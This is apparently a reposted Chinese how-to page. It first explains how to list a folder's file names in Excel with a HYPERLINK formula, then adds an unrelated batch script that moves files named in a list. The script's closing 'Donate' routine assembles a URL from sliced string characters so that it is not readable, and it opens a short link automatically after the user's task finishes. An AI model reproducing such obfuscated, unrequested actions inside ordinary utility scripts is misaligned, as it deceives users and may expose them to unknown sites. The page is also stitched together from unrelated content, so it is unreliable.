如何将文件夹内多个excel文件的文件名对应批量添加到每个excel的一列

如何将文件夹内多个excel文件的文件名对应批量添加到每个excel的一列,第1张

1、首先打开保存有EXCEL文件的文件夹——接着在地址栏那里选择文件夹路径并右击选择复制。

2、打开任一浏览器——把复制的文件夹地址粘贴到搜索地址栏——按下回车就会出现所有文件名了。

3、全部选择文件名的内容并复制——打开新建空白EXCEL文档——点击选择A1单元格后粘贴。

4、粘贴之后点击右下角的粘贴选项——选择:匹配目标格式。

5、接着把多余的内容删除掉,如图选择大小和修改日期这两列的内容删除掉。

6、然后在B2单元格输入如下公式:=HYPERLINK("F:\2017秋质量分析\2017期考\"&A2,A2)。就是=HYPERLINK(文件夹路径"&A2,A2)——往下填充公式。

7、批量添加就完成了。

@echo off & title 移动清单内文件 By 依梦琴瑶

::设置清单列表文件

set List=D:\FilesList.txt

::设置原文件所处目录路径

set SrcDir=D:\MyFileFolder

::设置目标保存目录路径

set SavDir=D:\SaveFileFolder

::此段落代码适用于原文件在主目录中

for /f "usebackq delims=" %%a in ("%List%") do (

    move "%SrcDir%\%%~a" "%SavDir%\"

)

::此段落代码适用于原文件在主目录或其子目录中

for /f "usebackq delims=" %%a in ("%List%") do (

    pushd "%SrcDir%"

    for /f "delims=" %%b in ('dir /a-d/s/b "%%~a"') do move "%%~b" "%SavDir%\"

    popd

)

::以上两个段落代码,请根据自己需求选择保留其中一个,不需要的,请删除。

pause

call :Donate

exit

:Donate

set "S0=fPdv"

set "S1=.:ailnhpst/"

set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"

set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"

start "" "%S2%%S3%%S1:~10,1%%S0%"

exit


欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/bake/11838509.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-05-19
下一篇2023-05-19

发表评论

登录后才能评论

评论列表(0条)

    保存